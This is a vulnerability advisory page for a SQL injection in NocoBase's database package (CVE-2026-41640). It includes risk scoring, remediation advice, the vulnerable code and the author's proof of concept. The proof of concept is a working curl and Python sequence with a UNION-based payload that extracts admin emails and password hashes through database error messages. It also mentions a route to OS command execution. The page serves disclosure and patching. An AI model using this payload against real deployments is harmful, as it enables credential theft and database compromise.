Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessAuthenticate as user with record-creation rights
-
DeliveryCreate tree collection with string primary key
-
ExploitStore UNION-based SQL payload as record primary key
-
ExecutionTrigger recursive eager loading via list request
-
PersistInject third UNION branch into recursive CTE
-
ImpactExtract credentials from CAST error messages
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Parameterized queries, prepared statements
MITRE ATT&CK
2 techniques across 2 tactics: Initial Access, Persistence The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Requires an authenticated account with record-creation permission on a NocoBase collection configured as a tree/adjacency-list (tree: 'adjacencyList', with treeParent/treeChildren belongsTo/hasMany relations) whose primary key is string-typed (type:'string', primaryKey:true) - numeric/integer primary keys are not exploitable because the payload must be stored as a key value. Exploitation also requires that a subsequent request trigger recursive eager loading on that collection (a BelongsTo association resolved with recursively: true, e.g. appends=parent(recursively=true)), which calls queryParentSQL() and interpolates the stored primary key into the recursive CTE. Limiting factors: authentication and record-creation authorization are mandatory (PR:L, not unauthenticated); the collection must use the tree structure AND string primary keys; full OS command execution (COPY ... TO PROGRAM) additionally requires the database connection to run as a PostgreSQL superuser, and the error-based exfiltration channel shown in the PoC is specific to PostgreSQL's CAST error messages. |
| Impact | Signals are moderately but not uniformly elevated. The CVSS 3.1 vector (AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H, base 8.8) describes a network-reachable, low-complexity attack that requires authentication (PR:L) - an authenticated user with record-creation permission, not an anonymous internet attacker, which meaningfully caps the exposed population. EPSS is 4.21% (89th percentile): elevated relative to the average CVE but far from the high-probability tail, consistent with a flaw that needs an authenticated foothold and a specific collection configuration rather than mass spray-and-pray exploitation. The vulnerability is NOT in CISA KEV, so there is no confirmed active exploitation; exploitation status is best described as a public PoC reference exists but is not verified as working exploit code (a projectdiscovery nuclei template is referenced). There is no SSVC vector in the input; the only decision signal is the vuln.today priority label 'this_week', which aligns with the this-week (not act_now/emergency) tier - treat as a prompt-but-not-drop-everything patch. Net: this is a genuine, well-documented, author-confirmed SQL injection with demonstrated credential-dump impact, but the PR:L authentication requirement and the required tree-collection-with-string-PK configuration make it a targeted post-authentication risk rather than a wormable internet-facing emergency. One data caveat: the advisory confirms affected versions '<= 2.0.32' while EUVD/package metadata say '< 2.0.39' (fixed in 2.0.39), leaving 2.0.33-2.0.38 as very likely but not explicitly 'confirmed' vulnerable - verify your exact running version against the 2.0.39 fix. |
| Exploit ScenarioDerived | An authenticated low-privilege NocoBase user who has permission to create records on a tree/adjacency-list collection with a string-type primary key stores a crafted value (e.g. root') UNION ALL SELECT ...) as a record's primary key. When any later request triggers recursive eager loading (appends: parent(recursively=true)), the injected SQL executes inside the recursive CTE, and a CAST-to-integer error returns subquery output in the HTTP error message, enabling error-based extraction of emails and password hashes. A public PoC reference (nuclei template) exists but is not verified as working exploit code; the author's advisory PoC confirms extraction against NocoBase v2.0.32 + PostgreSQL 16.13. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv2 – Nov 11, 2026
SQL injection in NocoBase's core @nocobase/database package affects versions before 2.0.39 and lets an authenticated user who can create records inject arbitrary SQL by storing a crafted string primary key in a tree/adjacency-list collection, after which any request that triggers recursive eager loading on that collection (for example appends=parent(recursively=true)) splices the stored key into a recursive CTE. Successful exploitation exposes arbitrary database contents - the advisory's PoC reports extraction of the database version, current database name, and user emails plus password hashes on PostgreSQL 16.13 - and on PostgreSQL deployments where the application connects as a superuser, COPY ... TO PROGRAM escalates this to OS command execution. A public PoC reference exists (including a Nuclei template); it is not verified as working exploit code, no public exploitation is confirmed by CISA KEV, and EPSS sits at 4.21% (89th percentile), consistent with a this_week rather than emergency remediation priority.
Earlier versions of this analysis (1)
SQL injection in NocoBase's @nocobase/database package allows authenticated users with record-creation privileges to execute arbitrary SQL queries and extract database credentials. The vulnerability exists in the queryParentSQL() function, which constructs recursive Common Table Expression (CTE) queries using string concatenation instead of parameterized queries when processing tree collections with string primary keys. An attacker can inject malicious SQL by creating records with crafted primary key values, triggering the vulnerability when recursive eager loading occurs. Successful exploitation leads to full database compromise, with confirmed extraction of administrator credentials (emails and password hashes) in testing against PostgreSQL. On databases where the service account has elevated privileges, attackers can achieve operating system command execution via PostgreSQL's COPY...TO PROGRAM feature. Vendor patch available via GitHub PR #9133.
RemediationAI
Vendor-released patch: 2.0.39 - upgrade NocoBase/@nocobase/database (and @nocobase/plugin-field-sort) to 2.0.39 or later, which replaces the string-concatenated IN ('...') list with $n bind placeholders in both eager-loading-tree.ts and sort-field.ts and adds regression tests using injection payloads (PR https://github.com/nocobase/nocobase/pull/9133, commit https://github.com/nocobase/nocobase/commit/202e2b8efe44ba90adbf1087f6f70881ff947604, advisory https://github.com/nocobase/nocobase/security/advisories/GHSA-4948-f92q-f432). If upgrading immediately is not possible, the exposure can be reduced by not granting record-creation permission on tree/adjacency-list collections whose primary key is string-typed and by avoiding string primary keys on such collections - integer keys cannot carry the payload - accepting the trade-off that this restricts legitimate users of those collections; suppressing recursive appends such as appends=parent(recursively=true) at the API/gateway layer removes the vulnerable code path but breaks tree parent/child rendering in the UI. Because the advisory notes database-level damage depends on the privileges of the connection, running the NocoBase database connection as a least-privileged role rather than a PostgreSQL superuser removes the COPY ... TO PROGRAM path to OS command execution; this does not stop error-based read of application tables.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 2 packages in npm, euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
The flaw is CWE-89 in @nocobase/database (CPE pkg:npm/@nocobase_database), specifically queryParentSQL() in packages/core/database/src/eager-loading/eager-loading-tree.ts, which builds a PostgreSQL WITH RECURSIVE CTE by joining nodeIds with string concatenation - WHERE "id" IN ('${nodeIds.join("','")}') - instead of using bind parameters. The nodeIds come from instance.get(targetKey) on rows read from the database, so attacker-controlled key material reaches the SQL text whenever a BelongsTo association is resolved with recursively: true and instances exist. Because the injected value can close the template's parenthesis and append a syntactically complete UNION ALL branch, the whole CTE stays valid; the advisory's PoC uses CAST((SELECT ...) AS integer) to force a type error that carries the subquery result back in the 500 response, making this an error-based exfiltration channel specific to PostgreSQL error messages. Sequelize identifiers are quoted via quoteIdentifier, but values are not parameterized. The same concatenation pattern was identified in packages/plugins/@nocobase/plugin-field-sort/src/server/sort-field.ts (filteredScopeValue) and both locations are converted to placeholder/bind form in the upstream fix. Exploitability is constrained: the collection must be configured as a tree/adjacency-list with a string-typed primary key (an integer key cannot carry the payload), the attacker needs record-creation rights, and the OS-command escalation path depends on the database role the application uses.
Know when Nocobase gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Network API reachable (AV:N) with no special timing (AC:L); PR:L because an authenticated record-creation permission is required; stored payload needs no victim interaction (UI:N); full DB read/write/DoS gives C:H/I:H/A:H, S:U as base (superuser OS exec is a conditional escalation).
Primary rating from NVD.
CVSS VectorNVD
Lifecycle Timeline
5DescriptionNVD
Summary
The queryParentSQL() function in the core database package constructs a recursive CTE query by joining nodeIds with string concatenation instead of using parameterized queries. The nodeIds array contains primary key values read from database rows. An attacker who can create a record with a malicious string primary key can inject arbitrary SQL when any subsequent request triggers recursive eager loading on that collection.
Affected component: @nocobase/database (core) Affected versions: <= 2.0.32 (confirmed) Minimum privilege: Any user with record-creation permission on a tree collection with string-type primary keys
Vulnerable Code
packages/core/database/src/eager-loading/eager-loading-tree.ts:59-84
const queryParentSQL = (options: {
db: Database;
nodeIds: any[];
collection: Collection;
foreignKey: string;
targetKey: string;
}) => {
const { collection, db, nodeIds } = options;
const tableName = collection.quotedTableName();
const { foreignKey, targetKey } = options;
const foreignKeyField = collection.model.rawAttributes[foreignKey].field;
const targetKeyField = collection.model.rawAttributes[targetKey].field;
const queryInterface = db.sequelize.getQueryInterface();
const q = queryInterface.quoteIdentifier.bind(queryInterface);
return `WITH RECURSIVE cte AS (
SELECT ${q(targetKeyField)}, ${q(foreignKeyField)}
FROM ${tableName}
WHERE ${q(targetKeyField)} IN ('${nodeIds.join("','")}') // <-- INJECTION
UNION ALL
SELECT t.${q(targetKeyField)}, t.${q(foreignKeyField)}
FROM ${tableName} AS t
INNER JOIN cte ON t.${q(targetKeyField)} = cte.${q(foreignKeyField)}
)
SELECT ${q(targetKeyField)} AS ${q(targetKey)}, ${q(foreignKeyField)} AS ${q(foreignKey)} FROM cte`;
};This function is called at line 384 when a BelongsTo association has recursively: true and instances exist:
// eager-loading-tree.ts:382-395
if (node.includeOption.recursively && instances.length > 0) {
const targetKey = association.targetKey;
const sql = queryParentSQL({
db: this.db, collection, foreignKey, targetKey,
nodeIds: instances.map((instance) => instance.get(targetKey)), // from DB rows
});
const results = await this.db.sequelize.query(sql, { type: 'SELECT', transaction });
}PoC
The payload keeps the CTE syntactically valid by injecting a third UNION ALL branch. The closing ') from the original template literal completes the injected WHERE clause, and the remaining UNION ALL ... INNER JOIN ... SELECT ... FROM cte lines stay intact.
Injection ID value:
root') UNION ALL SELECT CAST((SELECT email FROM users LIMIT 1) AS integer)::text, NULL::text WHERE ('1'='1
Generated SQL (3 valid UNION ALL branches):
WITH RECURSIVE cte AS (
SELECT "id", "parentId" FROM "table"
WHERE "id" IN ('root','root') UNION ALL SELECT CAST((...) AS integer)::text, NULL::text WHERE ('1'='1')
UNION ALL
SELECT t."id", t."parentId" FROM "table" AS t INNER JOIN cte ON t."id" = cte."parentId"
) SELECT "id" AS "id", "parentId" AS "parentId" FROM cte
The CAST-to-integer triggers a runtime error whose message contains the subquery result.TOKEN="<jwt_token>"
# 1. Create tree collection with string PKs
curl -s http://TARGET:13000/api/collections:create \
-H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" \
-d '{"name":"vuln_tree","tree":"adjacencyList","fields":[
{"name":"id","type":"string","primaryKey":true,"interface":"input"},
{"name":"title","type":"string","interface":"input"},
{"name":"parent","type":"belongsTo","target":"vuln_tree","foreignKey":"parentId","targetKey":"id","treeParent":true},
{"name":"children","type":"hasMany","target":"vuln_tree","foreignKey":"parentId","sourceKey":"id","treeChildren":true}
]}'
# 2. Create safe root
curl -s http://TARGET:13000/api/vuln_tree:create \
-H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" \
-d '{"id":"root","title":"Root"}'
# 3. Create injection parent - error-based extraction of admin email
python3 -c "
import requests, json
headers = {'Authorization': 'Bearer $TOKEN', 'Content-Type': 'application/json'}
payload_id = \"root') UNION ALL SELECT CAST((SELECT email FROM users LIMIT 1) AS integer)::text, NULL::text WHERE ('1'='1\"
requests.post('http://TARGET:13000/api/vuln_tree:create', headers=headers,
json={'id': payload_id, 'title': 'x'})
requests.post('http://TARGET:13000/api/vuln_tree:create', headers=headers,
json={'id': 'child', 'title': 'c', 'parentId': payload_id})
r = requests.get('http://TARGET:13000/api/vuln_tree:list', headers=headers,
params={'appends[]': 'parent(recursively=true)', 'pageSize': '100'})
print(json.dumps(r.json(), indent=2))
"
# Returns: 500 {"errors":[{"message":"invalid input syntax for type integer: \"admin@nocobase.com\""}]}
# ^^^^^^^^^^^^^^^^^^^^^^^
# Exfiltrated data in error messageConfirmed extractions (tested against NocoBase v2.0.32 + PostgreSQL 16.13):
| Subquery | Extracted Value |
|---|---|
SELECT version() | PostgreSQL 16.13 (Debian 16.13-1.pgdg13+1) on aarch64-unknown-linux-gnu... |
SELECT current_database() | nocobase |
SELECT email FROM users ORDER BY id LIMIT 1 | admin@nocobase.com |
SELECT password FROM users ORDER BY id LIMIT 1 | 006af6756e9660888c44ab311fe992341af0ecab4aaf13e48c8d0001948acc38 |
| `SELECT string_agg(email\ | \ |
Impact
- Confidentiality: Error-based extraction of any database value. Full credential dump confirmed (emails + password hashes).
- Integrity: Depending on database user privileges, INSERT/UPDATE/DELETE through stacked queries.
- Availability: Resource-exhaustive queries or destructive DDL.
- Scope change: On PostgreSQL with superuser,
COPY ... TO PROGRAMachieves OS command execution. - Blast radius: Affects all collections using tree/adjacency-list structure with string-type primary keys. The same concatenation pattern also exists in
plugin-field-sort/src/server/sort-field.ts:124.
Fix Suggestion
- Use parameterized queries. Replace the string concatenation with bind parameters:
const placeholders = nodeIds.map((_, i) => `$${i + 1}`).join(',');
const sql = `WITH RECURSIVE cte AS (
SELECT ${q(targetKeyField)}, ${q(foreignKeyField)}
FROM ${tableName}
WHERE ${q(targetKeyField)} IN (${placeholders})
UNION ALL
...
) SELECT ... FROM cte`;
return { sql, bind: nodeIds };Then call db.sequelize.query(sql, { type: 'SELECT', bind: nodeIds, transaction }).
- Apply the same fix to
plugin-field-sort/src/server/sort-field.ts:124, which has an identical concatenation pattern withfilteredScopeValue. - Validate primary key values at record creation time. Reject or escape values containing SQL metacharacters (
',",;,--) in string-type primary key fields.
Executive ViewAI
NocoBase, a low-code platform, contains a SQL injection vulnerability (CVE-2026-41640) that allows authenticated users to extract sensitive database information, including password hashes, and potentially execute system commands. This poses a significant risk to data confidentiality and system integrity, particularly for organizations using NocoBase in production environments. Leadership should prioritize remediation to prevent unauthorized access to critical data.
Apply vendor patch.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
SQL injection exploits the way applications construct database queries by mixing user input directly into SQL statements.
OS command injection occurs when an application passes unsanitized user input directly into system shell commands.
SQL injection in NocoBase's @nocobase/plugin-notification-in-app-message (before 2.0.61) lets any signed-up authenticate
SQL injection in NocoBase v2.1.21 lets an attacker reach the SQL handling path behind the checkSQL function and submit c
Sandbox escape in NocoBase's plugin-workflow-javascript (all 2.0.x releases through 2.0.23) originates from a defective
Server-side request forgery in NocoBase through v2.1.20 allows authenticated administrators to issue arbitrary outbound
SQL injection in NocoBase's @nocobase/plugin-collection-sql through 2.2.28 allows an authenticated user with the collect
PostgreSQL password hash disclosure in NocoBase 2.0.59 and earlier allows an authenticated administrator to extract pg_s
Command injection in NocoBase's @nocobase/plugin-backups prior to v2.1.19 allows an authenticated backup-management user
Server-side request forgery in NocoBase v2.1.21 lets an authenticated, low-privilege user drive the server's serverReque
Server-side request forgery in NocoBase 2.1.0 through 2.1.14 lets any authenticated low-privileged member override the t
EUVD-2026-28261
GHSA-4948-f92q-f432
NVD
CVE.org
EPSS
Exploit-DB